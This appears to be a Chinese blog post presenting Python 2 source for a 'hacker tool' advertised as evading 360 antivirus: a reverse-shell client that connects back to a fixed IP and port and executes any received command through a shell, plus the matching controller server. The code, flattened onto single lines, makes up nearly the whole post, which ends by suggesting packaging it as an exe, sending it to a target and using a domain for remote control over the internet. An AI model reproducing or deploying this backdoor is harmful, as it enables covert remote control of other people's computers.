Python写黑客小工具,360免杀

来源:互联网 发布:RBF神经网络算法 编辑:程序博客网 时间:2024/06/03 21:35

构思:

client:反向连接server,执行shell命令

server:发送命令,控制客户端


import subprocessimport socketimport threadingtarget="172.22.40.41"port=55555buffer=""def sendMag(c_socket):    global buffer        while True:        #send cmd                if len(buffer):            try:                print "c_buffer>>>>", buffer                c_socket.send(buffer)            except:                print "socket send error"                                       print buffer            buffer=""                                                    def getMag(client_socket):    global buffer        while True:        resc=""        len_resc=1        while len_resc:            datas=client_socket.recv(4096)            len_resc=len(datas)            resc+=datas            if len_resc<4096:                break                                if not len(resc):            res_cmd="ERROR COMMAND"        res_cmd=cmd(resc)        try:                        if not len(res_cmd):                res_cmd="NO MAG"                                            buffer+=res_cmd                    except:            print "soc send reeor"                                        def c_rec():    global target    global port    client_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)    try:                client_socket.connect((target,port))    except:        print "SOCKET CONNECT FAILED"                    get_thread=threading.Thread(target=getMag,args=(client_socket,))    get_thread.start()    send_thread=threading.Thread(target=sendMag,args=(client_socket,))    send_thread.start()    def cmd(str):    str=str.rstrip()    try:                res_cmd=subprocess.check_output(str,shell=True)            except:        res_cmd="ERROR COMMEND!!"            if not len(res_cmd):        res_cmd="ERROR BACK"            return res_cmddef main():    c_rec()main()

import socketimport threadingtarget="0.0.0.0"port=55555def s_loop():    global target    global port    server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)    server.bind((target,port))        server.listen(5)    while True:        c_socket,addr=server.accept()        print "A Client Connect"                        send_thread=threading.Thread(target=sendMag,args=(c_socket,))        send_thread.start()            get_thread=threading.Thread(target=getMag,args=(c_socket,))        get_thread.start()        def sendMag(c_socket):    while True:        #send cmd                command=raw_input("#")        try:                       if  len(command):                c_socket.send(command)                        except:            print "server send error"        def getMag(c_socket):    while True:        #get mag from client          recvs=""                   len_rec=1        while len_rec:            datas=c_socket.recv(4096)                        len_rec=len(datas)            recvs+=datas            if len_rec<4096:                break                               print "get from Catc::",recvs            def main():    s_loop()main()

可以用py2exe生成exe执行文件,发给测试者,如果有域名就更好了,可以在外网使用。


0 0
原创粉丝点击